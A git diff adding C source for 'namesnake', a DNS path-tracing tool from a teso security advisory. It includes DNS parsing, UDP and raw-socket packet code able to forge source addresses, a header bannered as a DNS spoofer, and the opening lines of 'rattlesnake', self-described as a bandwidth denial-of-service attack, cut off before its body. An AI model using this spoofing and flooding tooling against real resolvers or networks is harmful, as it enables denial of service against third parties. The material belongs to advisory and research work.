421 *qname = qn + 1;
422
423 return (0);
424}
425
426/* dns_printpkt
427 *
428 * print dns packet header pointed to by `dns' in human readable form
429 * to dns window
430 *
431 * return nothing
432 */
433
434void
435dns_printpkt (char *os, size_t osl, dns_hdr *dns, unsigned char *data,
436 unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[],
437 unsigned char *d_addi[], int print)
438{
439 /* print decoded dns packet to screen
440 */
441 dns_p_print (os, osl, dns, d_quer, d_answ, d_auth, d_addi);
442 if (print == 1)
443 printf ("%s\n", os);
444
445 return;
446}
447
diff --git a/advisories/teso-advisory-003/namesnake/src/dns.h b/advisories/teso-advisory-003/namesnake/src/dns.h
new file mode 100644
index 0000000..2445231
--- /dev/null
+++ b/advisories/teso-advisory-003/namesnake/src/dns.h
@@ -0,0 +1,67 @@
1/* zodiac - advanced dns spoofer
2 *
3 * by scut / teso
4 *
5 * dns / id queue handling routines
6 */
7
8#ifndef Z_DNS_H
9#define Z_DNS_H
10
11
12#include <sys/time.h>
13#include <arpa/nameser.h>
14#include <netinet/in.h>
15#include <libnet.h>
16
17
18/* dns flags (for use with libnet)
19 */
20#define DF_RESPONSE 0x8000
21#define DF_OC_STD_Q 0x0000
22#define DF_OC_INV_Q 0x0800
23#define DF_OC_STAT 0x1800
24#define DF_AA 0x0400
25#define DF_TC 0x0200
26#define DF_RD 0x0100
27#define DF_RA 0x0080
28#define DF_RCODE_FMT_E 0x0001
29#define DF_RCODE_SRV_E 0x0002
30#define DF_RCODE_NAME_E 0x0003
31#define DF_RCODE_IMPL_E 0x0004
32#define DF_RCODE_RFSD_E 0x0005
33
34
35#define SEG_COUNT_MAX 16
36
37typedef struct libnet_ip_hdr ip_hdr;
38typedef struct libnet_udp_hdr udp_hdr;
39typedef HEADER dns_hdr; /* HEADER is in arpa/nameser.h */
40
41void dns_handle (dns_hdr *dns, unsigned char *dns_data, unsigned int plen, int print);
42
43int dns_segmentify (dns_hdr *dns, unsigned char *dns_data,
44 unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[],
45 unsigned char *d_addi[]);
46void dns_seg_q (unsigned char **wp, unsigned char *d_arry[], int c, int max_size);
47void dns_seg_rr (unsigned char **wp, unsigned char *d_arry[], int c, int max_size);
48int dns_labellen (unsigned char *wp);
49
50/* dns_printpkt
51 *
52 * print a packet into the dns window
53 */
54
55void dns_printpkt (char *os, size_t osl, dns_hdr *dns, unsigned char *data,
56 unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[],
57 unsigned char *d_addi[], int print);
58int dns_p_print (char *os, size_t len, dns_hdr *dns, unsigned char *d_quer[],
59 unsigned char *d_answ[], unsigned char *d_auth[], unsigned char *d_addi[]);
60void dns_p_q (unsigned char *dns_start, char *os, size_t len, unsigned char *wp);
61void dns_p_rr (unsigned char *dns_start, char *os, size_t len, unsigned char *wp);
62void dns_p_rdata (unsigned char *dns_start, char *rdstr, size_t len, u_short rtype,
63 unsigned char *rdp, u_short rdlen);
64int dns_dcd_label (unsigned char *dns_start, unsigned char **qname, char *os, size_t len, int dig);
65
66#endif
67
diff --git a/advisories/teso-advisory-003/namesnake/src/io-udp.c b/advisories/teso-advisory-003/namesnake/src/io-udp.c
new file mode 100644
index 0000000..277f17a
--- /dev/null
+++ b/advisories/teso-advisory-003/namesnake/src/io-udp.c
@@ -0,0 +1,212 @@
1/* namesnake
2 *
3 * by scut
4 *
5 * udp packet routines include file
6 */
7
8#include <sys/types.h>
9#include <sys/socket.h>
10#include <sys/time.h>
11#include <netinet/in.h>
12#include <netinet/ip.h>
13#include <arpa/inet.h>
14#include <stdlib.h>
15#include <unistd.h>
16#include <stdio.h>
17#include <libnet.h>
18#include "common.h"
19#include "io-udp.h"
20#include "network.h"
21
22
23void
24udp_listen_free (udp_listen *ul)
25{
26 if (ul == NULL)
27 return;
28
29 if (ul->socket != 0)
30 close (ul->socket);
31
32 free (ul);
33
34 return;
35}
36
37
38udp_listen *
39udp_setup (char *ip, unsigned short int port)
40{
41 int n; /* temporary return value */
42 udp_listen *new = xcalloc (1, sizeof (udp_listen));
43
44 new->addr_serv.sin_family = AF_INET;
45 new->addr_serv.sin_port = htons (port);
46
47 if (ip == NULL) {
48 new->addr_serv.sin_addr.s_addr = htonl (INADDR_ANY);
49 } else {
50 new->addr_serv.sin_addr.s_addr = net_resolve (ip);
51 if (new->addr_serv.sin_addr.s_addr == 0)
52 goto u_fail;
53 }
54
55 new->port = port;
56
57 /* aquire udp socket
58 */
59 new->socket = socket (AF_INET, SOCK_DGRAM, 0);
60 if (new->socket == -1)
61 goto u_fail;
62
63 n = bind (new->socket, (struct sockaddr *) &new->addr_serv, sizeof (new->addr_serv));
64 if (n == -1)
65 goto u_fail;
66
67 return (new);
68
69u_fail:
70 if (new->socket != 0)
71 close (new->socket);
72
73 free (new);
74
75 return (NULL);
76}
77
78
79void
80udp_rcv_free (udp_rcv *ur)
81{
82 if (ur == NULL)
83 return;
84
85 if (ur->udp_data != NULL)
86 free (ur->udp_data);
87
88 free (ur);
89
90 return;
91}
92
93
94udp_rcv *
95udp_receive (udp_listen *ul, struct timeval *tv)
96{
97 int n; /* temporary return value */
98 udp_rcv *u_rcv; /* new received udp datagram */
99 unsigned char *u_packet;
100 socklen_t len;
101 fd_set fds;
102
103 if (ul == NULL)
104 return (NULL);
105
106 u_rcv = xcalloc (1, sizeof (udp_rcv));
107 u_packet = xcalloc (1, IP_MAXPACKET);
108
109 len = sizeof (struct sockaddr_in);
110 FD_ZERO (&fds);
111 FD_SET (ul->socket, &fds);
112 n = select (ul->socket + 1, &fds, NULL, &fds, tv);
113 if (n <= 0)
114 goto ur_fail;
115
116 n = recvfrom (ul->socket, u_packet, IP_MAXPACKET, 0,
117 &u_rcv->addr_client, &len);
118 if (n == -1)
119 goto ur_fail;
120
121 /* save time the packet was received and copy the received data
122 */
123 gettimeofday (&u_rcv->udp_time, NULL);
124 xrealloc (u_packet, n);
125 u_rcv->udp_data = u_packet;
126 u_rcv->udp_len = n;
127 ul->count++;
128
129 return (u_rcv);
130
131ur_fail:
132 free (u_rcv);
133 free (u_packet);
134
135 return (NULL);
136}
137
138
139void
140udp_write (char *ip, unsigned short int port, unsigned char *data,
141 size_t data_len)
142{
143 int udp_sockfd;
144 struct sockaddr_in udp_to;
145
146 udp_sockfd = socket (AF_INET, SOCK_DGRAM, 0);
147 if (udp_sockfd == -1)
148 return;
149
150 memset (&udp_to, '\0', sizeof (udp_to));
151 udp_to.sin_family = AF_INET;
152 udp_to.sin_addr.s_addr = net_resolve (ip);
153 udp_to.sin_port = htons (port);
154
155 /* send packet
156 */
157 sendto (udp_sockfd, data, data_len, 0, &udp_to, sizeof (udp_to));
158
159 close (udp_sockfd);
160
161 return;
162}
163
164
165void
166udp_send (char *ip_src, unsigned short int port_src,
167 char *ip_dst, unsigned short int port_dst,
168 unsigned char *data, size_t data_len)
169{
170 unsigned char *data_enc,
171 *pkt_buf;
172 unsigned short int port_a_src;
173 size_t len;
174 char *ip_a_src;
175 int raw_socket;
176
177 ip_a_src = (ip_src == NULL) ? net_getlocalip () : xstrdup (ip_src);
178 port_a_src = (port_src == 0) ? libnet_get_prand (PRu16) : port_src;
179 pkt_buf = xcalloc (1, data_len + IP_H + UDP_H);
180
181 libnet_build_ip (UDP_H + len, /* content length */
182 0, /* ip type of service */
183 libnet_get_prand (PRu16), /* ip id */
184 0, /* we don't fragment */
185 64, /* ip ttl */
186 IPPROTO_UDP, /* ip subproto */
187 libnet_name_resolve (ip_a_src, 0), /* ip source address */
188 libnet_name_resolve (ip_dst, 0),/* ip destination address */
189 NULL, 0, /* payload */
190 pkt_buf);
191
192 libnet_build_udp (port_a_src, /* source port */
193 port_dst, /* destination port */
194 data, /* payload r0x0r */
195 data_len, /* payload length */
196 pkt_buf + IP_H);
197
198 raw_socket = libnet_open_raw_sock (IPPROTO_RAW);
199
200 if (raw_socket != -1) {
201 libnet_write_ip (raw_socket, pkt_buf, IP_H + UDP_H + len);
202
203 close (raw_socket);
204 }
205
206 free (pkt_buf);
207 free (data_enc);
208 free (ip_a_src);
209
210 return;
211}
212
diff --git a/advisories/teso-advisory-003/namesnake/src/io-udp.h b/advisories/teso-advisory-003/namesnake/src/io-udp.h
new file mode 100644
index 0000000..8a6775a
--- /dev/null
+++ b/advisories/teso-advisory-003/namesnake/src/io-udp.h
@@ -0,0 +1,121 @@
1/* namesnake
2 *
3 * by scut
4 *
5 * udp packet routines include file
6 */
7
8#ifndef _FNX_IO_UDP_H
9#define _FNX_IO_UDP_H
10
11#include <sys/types.h>
12#include <sys/socket.h>
13#include <sys/time.h>
14#include <netinet/in.h>
15#include <arpa/inet.h>
16#include <unistd.h>
17#include <stdio.h>
18
19
20/* udp receival entity
21 */
22
23typedef struct udp_listen {
24 unsigned long int count; /* number of packets received */
25 struct in_addr ip; /* ip to receive data on */
26 unsigned short int port; /* port to receive data on */
27 int socket; /* listening socket */
28 struct sockaddr_in addr_serv;
29} udp_listen;
30
31
32/* udp datagram structure
33 */
34
35typedef struct udp_rcv {
36 struct sockaddr_in addr_client; /* source address */
37 struct timeval udp_time; /* time of receival */
38 socklen_t udp_len; /* length of the udp datagramm */
39 unsigned char *udp_data; /* received udp datagramm */
40} udp_rcv;
41
42
43/* udp_listen_free
44 *
45 * free a udp_listen structure pointed to by `ul'
46 *
47 * return in any case
48 */
49
50void udp_listen_free (udp_listen *ul);
51
52
53/* udp_setup
54 *
55 * start a new listening udp service with the bound ip `ip', which can be
56 * either a numeric ip address or "*" (or NULL) for all locally available
57 * ip addresses. the listening port is `port'.
58 *
59 * return NULL on failure
60 * return a pointer to a udp_listen structure on success
61 */
62
63udp_listen *udp_setup (char *ip, unsigned short int port);
64
65
66/* udp_rcv_free
67 *
68 * free a udp_rcv structure pointed to by `ur'
69 *
70 * return in any case
71 */
72
73void udp_rcv_free (udp_rcv *ur);
74
75
76/* udp_receive
77 *
78 * receive an udp datagramm on the network entity specified by the `ul'
79 * structure
80 *
81 * return NULL on failure
82 * return a pointer to a new udp_rcv structure on success
83 */
84
85udp_rcv *udp_receive (udp_listen *ul, struct timeval *tv);
86
87
88/* udp_write
89 *
90 * send an udp datagram using the system level datagram sockets. send
91 * `data_len' bytes from `data' to the host with the ip `ip' on port
92 * `port'
93 *
94 * return in any case
95 */
96
97void
98udp_write (char *ip, unsigned short int port, unsigned char *data,
99 size_t data_len);
100
101
102/* udp_send
103 *
104 * send an udp datagram using raw socket. the datagram will be assigned the
105 * source ip address of the local host if `ip_src' is NULL and the source IP
106 * address `ip_src' if it is not. the source port will be random if `port_src'
107 * equals zero, else it is assigned the value of it.
108 * the destination ip address is `ip_dst', the destination port is `port_dst'..
109 * the payload is `data', which is `data_len' bytes long. the data will be
110 * encrypted with `key' if it is not NULL.
111 *
112 * return in any case
113 */
114
115void udp_send (char *ip_src, unsigned short int port_src,
116 char *ip_dst, unsigned short int port_dst,
117 unsigned char *data, size_t data_len);
118
119
120#endif
121
diff --git a/advisories/teso-advisory-003/namesnake/src/namesnake.c b/advisories/teso-advisory-003/namesnake/src/namesnake.c
new file mode 100644
index 0000000..4db4607
--- /dev/null
+++ b/advisories/teso-advisory-003/namesnake/src/namesnake.c
@@ -0,0 +1,271 @@
1/* namesnake - dns path discovery and measurement tool
2 *
3 * by scut of teso
4 *
5 * main file
6 */
7
8#define VERSION "0.0.2"
9#define AUTHORS "scut of teso"
10
11#include <sys/types.h>
12#include <netinet/in.h>
13#include <time.h>
14#include <stdlib.h>
15#include <stdio.h>
16#include "common.h"
17#include "network.h"
18#include "dns-build.h"
19#include "dns.h"
20#include "io-udp.h"
21
22
23typedef struct {
24 char * ip;
25 int count_resp;
26} ns;
27
28char * ns_domain;
29
30int usage (char *program);
31ns ** ns_hop_trace (char *ip_snake, char *domain_our);
32void snakeprint (ns **list, int indent);
33int snakequick (char *ip_snake, char *domain_our);
34int snake (char *ip_snake, char *domain_our);
35
36char * mode = "trace";
37char * ip_local = NULL;
38udp_listen * ul;
39
40
41int
42usage (char *program)
43{
44 printf ("usage: %s <ourdomain> <nameserver> [mode]\n\n"
45 "ourdomain the domain that references to our current ip\n"
46 "nameserver the startpoint for the nameserver chain to trace\n"
47 "mode either \"quick\" or \"trace\"\n\n",
48 program);
49
50 exit (EXIT_FAILURE);
51}
52
53
54int
55main (int argc, char **argv)
56{
57 char * ip_bind = NULL;
58
59 printf ("namesnake "VERSION" by "AUTHORS"\n\n");
60
61 if (argc < 3)
62 usage (argv[0]);
63
64 if (argc == 4 && strcmp (argv[3], "quick") == 0)
65 mode = argv[3];
66
67 ip_local = net_getlocalip ();
68 ul = udp_setup (ip_bind, 53);
69 if (ul == NULL) {
70 fprintf (stderr, "failed to bind to port 53, try specifying a local ip to bind to\n");
71 exit (EXIT_FAILURE);
72 }
73
74 printf ("[ns] listener bound to %s:53\n", (ip_bind == NULL) ? "*" : ip_bind);
75 printf ("[ns] tracing %s through the help of our domain %s\n", argv[2], argv[1]);
76 printf ("===============================================================================\n");
77
78 srandom (time (NULL));
79
80 if (strcmp (mode, "quick") == 0)
81 snakequick (argv[2], argv[1]);
82 else
83 snake (argv[2], argv[1]);
84
85 udp_listen_free (ul);
86 exit (EXIT_SUCCESS);
87}
88
89
90ns **
91ns_hop_trace (char *ip_snake, char *domain_our)
92{
93 ns ** ns_ret = NULL;
94 int ns_entry_count = 0;
95 char * ip;
96 int i,m;
97 dns_pdata * dp;
98 char * querydomain;
99 int count = 0;
100 udp_rcv * ur;
101 struct timeval tv_start;
102 struct timeval tv;
103 int bc = 0;
104
105 gettimeofday (&tv_start, NULL);
106
107 /* construct and send dns query
108 */
109 dp = dns_build_new ();
110 querydomain = dns_build_random (domain_our, 0);
111 dns_build_q (dp, querydomain, T_A, C_IN);
112 dns_packet_send (ip_local, ip_snake, m_random (1024, 65535), 53,
113 m_random (1, 65535), DF_RD, 1, 0, 0, 0, dp);
114 dns_build_destroy (dp);
115
116 while (bc == 0) {
117 struct timeval tv_now;
118
119 gettimeofday (&tv_now, NULL);
120 tv.tv_sec = 140 - (tv_now.tv_sec - tv_start.tv_sec);
121 tv.tv_usec = 0;
122
123 ur = NULL;
124 if ((tv_now.tv_sec - tv_start.tv_sec) >= 0)
125 ur = udp_receive (ul, &tv);
126
127 if (ur != NULL) {
128 dns_handle ((dns_hdr *) ur->udp_data, ur->udp_data + sizeof (dns_hdr), ur->udp_len, 0);
129 if (strcmp (querydomain, ns_domain) == 0) {
130 count++;
131
132 net_printipa ((struct in_addr *) & ur->addr_client.sin_addr, &ip);
133 m = 0;
134 for (i = 0 ; ns_ret != NULL && ns_ret[i] != NULL ; ++i) {
135 if (strcmp (ns_ret[i]->ip, ip) == 0) {
136 ns_ret[i]->count_resp += 1;
137 m = 1;
138 }
139 }
140 if (m == 0) {
141 ns_entry_count += 1;
142 ns_ret = xrealloc (ns_ret, (ns_entry_count + 1) * sizeof (ns *));
143 ns_ret[ns_entry_count] = NULL;
144 ns_ret[ns_entry_count - 1] = xcalloc (1, sizeof (ns));
145
146 ns_ret[ns_entry_count - 1]->ip = ip;
147 ns_ret[ns_entry_count - 1]->count_resp = 1;
148 }
149 } else {
150 printf ("*!* received unrelated packet\n");
151 }
152 udp_rcv_free (ur);
153 free (ns_domain);
154 }
155
156 if (ur == NULL)
157 bc = 1;
158 }
159
160 free (querydomain);
161
162 return (ns_ret);
163
164}
165
166
167int
168snakequick (char *ip_snake, char *domain_our)
169{
170 char * ip;
171 dns_pdata * dp;
172 char * querydomain;
173 int count = 0;
174 udp_rcv * ur;
175 struct timeval tv_start;
176 struct timeval tv;
177 int bc = 0;
178
179 gettimeofday (&tv_start, NULL);
180
181 /* construct and send dns query
182 */
183 dp = dns_build_new ();
184 querydomain = dns_build_random (domain_our, 0);
185 dns_build_q (dp, querydomain, T_A, C_IN);
186 dns_packet_send (ip_local, ip_snake, m_random (1024, 65535), 53,
187 m_random (1, 65535), DF_RD, 1, 0, 0, 0, dp);
188 dns_build_destroy (dp);
189 printf ("asking for %s\n", querydomain);
190 free (querydomain);
191
192 while (bc == 0) {
193 struct timeval tv_now;
194
195 gettimeofday (&tv_now, NULL);
196 tv.tv_sec = 90 - (tv_now.tv_sec - tv_start.tv_sec);
197 tv.tv_usec = 0;
198
199 ur = NULL;
200 if ((tv_now.tv_sec - tv_start.tv_sec) >= 0)
201 ur = udp_receive (ul, &tv);
202
203 if (ur != NULL) {
204 count++;
205 net_printipa ((struct in_addr *) & ur->addr_client.sin_addr, &ip);
206 printf ("%s\t== ", ip);
207 dns_handle ((dns_hdr *) ur->udp_data, ur->udp_data + sizeof (dns_hdr), ur->udp_len, 1);
208 udp_rcv_free (ur);
209 }
210
211 if (ur == NULL)
212 bc = 1;
213 }
214
215 fprintf (stderr, "%s %d\n", ip_snake, count);
216
217 return (1);
218}
219
220
221void
222snakeprint (ns **list, int indent)
223{
224 int walker,
225 indent_tmp;
226
227 if (list == NULL)
228 return;
229
230 for (walker = 0 ; list[walker] != NULL ; ++walker) {
231 for (indent_tmp = indent ; indent_tmp > 0 ; --indent_tmp) {
232 printf ("\t");
233 }
234 printf ("%3d %s\n", list[walker]->count_resp, list[walker]->ip);
235 }
236
237 return;
238}
239
240
241int
242snake (char *ip_snake, char *domain_our)
243{
244 ns *** pathway;
245 ns ** base;
246 int walker;
247 int ns_count;
248
249
250 base = ns_hop_trace (ip_snake, domain_our);
251 if (base == NULL || base[0] == NULL)
252 return (0);
253
254 printf ("%s\n", ip_snake);
255 snakeprint (base, 1);
256 for (ns_count = 0 ; base[ns_count] != NULL ; ++ns_count)
257 ;
258 printf ("======== tracing pathway of %d servers ========\n", ns_count);
259
260 ns_count += 1;
261 pathway = xcalloc (1, sizeof (ns **) * (ns_count));
262 for (walker = 0 ; base[walker] != NULL ; ++walker) {
263 printf ("=== %s\n", base[walker]->ip);
264 pathway[walker] = ns_hop_trace (base[walker]->ip, domain_our);
265 snakeprint (pathway[walker], 1);
266 }
267
268 return (1);
269}
270
271
diff --git a/advisories/teso-advisory-003/namesnake/src/network.c b/advisories/teso-advisory-003/namesnake/src/network.c
new file mode 100644
index 0000000..4d56546
--- /dev/null
+++ b/advisories/teso-advisory-003/namesnake/src/network.c
@@ -0,0 +1,362 @@
1/* namesnake
2 *
3 * network primitives
4 *
5 * by scut
6 *
7 * nearly all of this code wouldn't have been possible without w. richard stevens
8 * excellent network coding book. if you are interested in network coding,
9 * there is no way around it.
10 */
11
12#include <sys/types.h>
13#include <sys/ioctl.h>
14#include <sys/socket.h>
15#include <sys/time.h>
16#include <arpa/inet.h>
17#include <netdb.h>
18#include <net/if.h>
19#include <netinet/in.h>
20#include <errno.h>
21#include <fcntl.h>
22#include <stdarg.h>
23#include <stdio.h>
24#include <stdlib.h>
25#include <string.h>
26#include <unistd.h>
27#include "common.h"
28#include "network.h"
29
30
31int
32net_connect (struct sockaddr_in *cs, char *server, unsigned short int port,
33 int sec)
34{
35 int n, len, error, flags;
36 int fd;
37 struct timeval tv;
38 struct sockaddr_in tmp_cs;
39 fd_set rset, wset;
40
41
42 if (cs == NULL)
43 cs = &tmp_cs;
44
45 /* first allocate a socket */
46 cs->sin_family = AF_INET;
47 cs->sin_port = htons (port);
48 fd = socket (cs->sin_family, SOCK_STREAM, 0);
49 if (fd == -1)
50 return (-1);
51
52 if (!(cs->sin_addr.s_addr = net_resolve (server))) {
53 close (fd);
54
55 return (-1);
56 }
57
58 flags = fcntl (fd, F_GETFL, 0);
59 if (flags == -1) {
60 close (fd);
61
62 return (-1);
63 }
64
65 n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
66 if (n == -1) {
67 close (fd);
68
69 return (-1);
70 }
71
72 error = 0;
73
74 n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
75 if (n < 0) {
76 if (errno != EINPROGRESS) {
77 close (fd);
78
79 return (-1);
80 }
81 }
82 if (n == 0)
83 goto done;
84
85 FD_ZERO (&rset);
86 FD_ZERO (&wset);
87 FD_SET (fd, &rset);
88 FD_SET (fd, &wset);
89 tv.tv_sec = sec;
90 tv.tv_usec = 0;
91
92 n = select (fd + 1, &rset, &wset, NULL, &tv);
93 if (n == 0) {
94 close (fd);
95 errno = ETIMEDOUT;
96
97 return (-1);
98 }
99 if (n == -1)
100 return (-1);
101
102 if (FD_ISSET (fd, &rset) || FD_ISSET (fd, &wset)) {
103 if (FD_ISSET (fd, &rset) && FD_ISSET (fd, &wset)) {
104 len = sizeof (error);
105 if (getsockopt (fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
106 errno = ETIMEDOUT;
107 return (-1);
108 }
109 if (error == 0) {
110 goto done;
111 } else {
112 errno = error;
113 return (-1);
114 }
115 }
116 } else
117 return (-1);
118
119done:
120 n = fcntl (fd, F_SETFL, flags);
121 if (n == -1)
122 return (-1);
123 return (fd);
124}
125
126
127int
128net_accept (int s, struct sockaddr_in *cs, int maxsec)
129{
130 int flags, n;
131 fd_set ac_s;
132 int len;
133 struct timeval tval;
134
135 flags = fcntl (s, F_GETFL, 0);
136 if (flags == -1)
137 return (-1);
138 n = fcntl (s, F_SETFL, flags | O_NONBLOCK);
139 if (flags == -1)
140 return (-1);
141
142 FD_ZERO (&ac_s);
143 FD_SET (s, &ac_s);
144 tval.tv_sec = maxsec;
145 tval.tv_usec = 0;
146
147 n = select (s + 1, &ac_s, NULL, NULL, maxsec ? &tval : NULL);
148 if (n == 0)
149 return (0);
150
151 if (FD_ISSET (s, &ac_s)) {
152 len = sizeof (struct sockaddr_in);
153 n = accept (s, (struct sockaddr *) cs, &len);
154 if (n == -1) {
155 switch (errno) {
156 case EWOULDBLOCK:
157 case ECONNABORTED:
158 case EPROTO:
159 case EINTR: if (fcntl (s, F_SETFL, flags) == -1)
160 return (-1);
161 return (0);
162 default: return (-1);
163 }
164 }
165 if (fcntl (s, F_SETFL, flags) == -1)
166 return (-1);
167 return (n);
168 }
169 if (fcntl (s, F_SETFL, flags) == -1)
170 return (-1);
171
172 return (0);
173}
174
175
176void
177net_boundfree (bound *bf)
178{
179 close (bf->bs);
180 free (bf);
181
182 return;
183}
184
185
186bound *
187net_bind (char *ip, unsigned short int port)
188{
189 bound *b;
190 int br, gsnr, lr;
191 int len, reusetmp;
192 struct sockaddr_in *sap;
193
194 if (port >= 65536)
195 return (NULL);
196
197 b = xcalloc (1, sizeof (bound));
198 b->bs = socket (AF_INET, SOCK_STREAM, 0);
199 if (b->bs == -1)
200 goto berror;
201
202 reusetmp = 1;
203#ifdef SO_REUSEPORT
204 if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEPORT, &reusetmp, sizeof (reusetmp)) == -1)
205 goto berror;
206#else
207 if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEADDR, &reusetmp, sizeof (reusetmp)) == -1)
208 goto berror;
209#endif
210
211 sap = (struct sockaddr_in *) &b->bsa;
212 sap->sin_family = AF_INET;
213 sap->sin_port = htons (port); /* 0 = ephemeral */
214
215 if (ip != NULL) {
216 if (strcmp (ip, "*") == 0) {
217 sap->sin_addr.s_addr = htonl (INADDR_ANY);
218 } else {
219 if (!(sap->sin_addr.s_addr = net_resolve (ip))) {
220 goto berror;
221 }
222 }
223 } else {
224 sap->sin_addr.s_addr = htonl (INADDR_ANY);
225 }
226
227 br = bind (b->bs, (struct sockaddr *) &b->bsa, sizeof (struct sockaddr));
228 if (br == -1)
229 goto berror;
230
231 len = sizeof (struct sockaddr);
232 gsnr = getsockname (b->bs, (struct sockaddr *) &b->bsa, &len);
233 b->port = ntohs (sap->sin_port);
234 if (gsnr == -1)
235 goto berror;
236
237 lr = listen (b->bs, 16);
238 if (lr == -1) {
239 goto berror;
240 }
241 return (b);
242
243berror:
244 free (b);
245
246 return(NULL);
247}
248
249
250int
251net_parseip (char *inp, char **ip, unsigned short int *port)
252{
253 int n;
254
255 if (inp == NULL)
256 return (0);
257 if (strchr (inp, ':') == NULL)
258 return (0);
259
260 *ip = calloc (1, 256);
261 if (*ip == NULL)
262 return (0);
263
264 n = sscanf (inp, "%[^:]:%hu", *ip, port);
265 if (n != 2)
266 return (0);
267
268 *ip = realloc (*ip, strlen (*ip) + 1);
269 if (*ip == NULL || (*port < 1 || *port > 65535))
270 return (0);
271
272 return (1);
273}
274
275
276char *
277net_getlocalip (void)
278{
279 struct sockaddr_in pf;
280 char name[255];
281
282 memset (name, '\0', sizeof (name));
283
284 if (gethostname (name, sizeof (name) - 1) == -1) {
285 return (NULL);
286 }
287
288 pf.sin_addr.s_addr = net_resolve (name);
289
290 return (strdup (inet_ntoa (pf.sin_addr)));;
291}
292
293
294/* partly based on resolv routine from ?
295 */
296
297unsigned long int
298net_resolve (char *host)
299{
300 long i;
301 struct hostent *he;
302
303 if (host == NULL)
304 return (htonl (INADDR_ANY));
305
306 if (strcmp (host, "*") == 0)
307 return (htonl (INADDR_ANY));
308
309 i = inet_addr (host);
310 if (i == -1) {
311 he = gethostbyname (host);
312 if (he == NULL) {
313 return (0);
314 } else {
315 return (*(unsigned long *) he->h_addr);
316 }
317 }
318 return (i);
319}
320
321
322int
323net_printipr (struct in_addr *ia, char *str, size_t len)
324{
325 unsigned char *ipp;
326
327 ipp = (unsigned char *) &ia->s_addr;
328 snprintf (str, len - 1, "%d.%d.%d.%d", ipp[3], ipp[2], ipp[1], ipp[0]);
329
330 return (0);
331}
332
333
334int
335net_printip (struct in_addr *ia, char *str, size_t len)
336{
337 unsigned char *ipp;
338
339 ipp = (unsigned char *) &ia->s_addr;
340 snprintf (str, len - 1, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]);
341
342 return (0);
343}
344
345
346int
347net_printipa (struct in_addr *ia, char **str)
348{
349 unsigned char *ipp;
350
351 ipp = (unsigned char *) &ia->s_addr;
352 *str = calloc (1, 256);
353 if (*str == NULL)
354 return (1);
355
356 snprintf (*str, 255, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]);
357 *str = realloc (*str, strlen (*str) + 1);
358
359 return ((*str == NULL) ? 1 : 0);
360}
361
362
diff --git a/advisories/teso-advisory-003/namesnake/src/network.h b/advisories/teso-advisory-003/namesnake/src/network.h
new file mode 100644
index 0000000..97054f4
--- /dev/null
+++ b/advisories/teso-advisory-003/namesnake/src/network.h
@@ -0,0 +1,135 @@
1/* namesnake
2 *
3 * by scut
4 */
5
6#ifndef _FNX_NETWORK_H
7#define _FNX_NETWORK_H
8
9#include <sys/socket.h>
10#include <net/if.h>
11#include <netinet/in.h>
12#include <stdio.h>
13
14
15typedef struct bound {
16 int bs; /* bound socket */
17 unsigned short port; /* port we bound to */
18 struct sockaddr bsa; /* bs_in */
19} bound;
20
21
22/* net_connect
23 *
24 * connect to the given `server' and `port' with a max timeout of `sec'.
25 * initialize the sockaddr_in struct `cs' correctly (ipv4), accept any
26 * ip "123.123.123.123" or hostname "localhost", "www.yahoo.de" as hostname.
27 * create a new socket and return either -1 if failed or
28 * the connected socket if connection has been established within the
29 * timeout limit.
30 *
31 * the routine is still IPv4 biased :-/
32 *
33 * return -1 on failure
34 * return socket if success
35 */
36
37int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port,
38 int sec);
39
40
41/* net_accept
42 *
43 * accept a connection from socket s, and stores the connection
44 * into cs.
45 * wait a maximum amount of maxsec seconds for connections
46 * maxsec can also be zero (infinite wait, until connection)
47 *
48 * return 0 if no connection has been made within maxsec seconds
49 * return -1 if an error appears
50 * return the socket number if a connection has been made
51 */
52
53int net_accept (int s, struct sockaddr_in *cs, int maxsec);
54
55
56/* net_bind
57 *
58 * bind a socket to an ip:port on the local machine,
59 * `ip' can be either NULL (bind to all IP's on the host), or a pointer
60 * to a virtual host name, or a real IP, or "*" for any.
61 * `port' can be either 0 (ephemeral port), or any free port.
62 *
63 * return NULL on failure
64 * return pointer to bound structure on success
65 */
66
67bound *net_bind (char *ip, unsigned short int port);
68
69
70/* net_boundfree
71 *
72 * free the bound structure pointed to by `bf'
73 *
74 * return in any case
75 */
76
77void net_boundfree (bound *bf);
78
79
80/* net_parseip
81 *
82 * read an ip in the format "1.1.1.1:299" or "blabla:481" into
83 * the char pointer *ip and into the port *port
84 *
85 * return 0 on failure
86 * return 1 on success
87 */
88
89int net_parseip (char *inp, char **ip, unsigned short int *port);
90
91
92/* net_getlocalip
93 *
94 * give back the main IP of the local machine
95 *
96 * return the local IP address as string on success
97 * return NULL on failure
98 */
99
100char *net_getlocalip (void);
101
102
103/* net_resolve
104 *
105 * resolve a hostname pointed to by `host' into a s_addr return value
106 *
107 * return the correct formatted `s_addr' for this host on success
108 * return 0 on failure
109 */
110
111unsigned long int net_resolve (char *host);
112
113
114/* net_printip
115 *
116 * print an IP address stored in the struct in_addr pointed to by `ia' to a
117 * string `str' with a maximum length of `len'.
118 *
119 * return 0 on success
120 *Üreturn 1 on failure
121 *
122 * net_printipa behaves the same way, except it allocates memory and let
123 * `*str' point to the string
124 *
125 * net_printipr behaves like net_printip, except the IP is printed in
126 * reverse quad dotted order (dns labels)
127 */
128
129int net_printip (struct in_addr *ia, char *str, size_t len);
130int net_printipa (struct in_addr *ia, char **str);
131int net_printipr (struct in_addr *ia, char *str, size_t len);
132
133
134#endif
135
diff --git a/advisories/teso-advisory-003/namesnake/src/rattlesnake.c b/advisories/teso-advisory-003/namesnake/src/rattlesnake.c
new file mode 100644
index 0000000..944b74c
--- /dev/null
+++ b/advisories/teso-advisory-003/namesnake/src/rattlesnake.c
@@ -0,0 +1,157 @@
1/* rattlesnake - bandwidth denial of service attack
2 *
3 * by scut of teso
4 * (discovered by me too, see teso-i0006.txt)
5 *
6 * main file
7 */
8
9#define VERSION "0.0.2"
10#define AUTHORS "scut of teso"
11
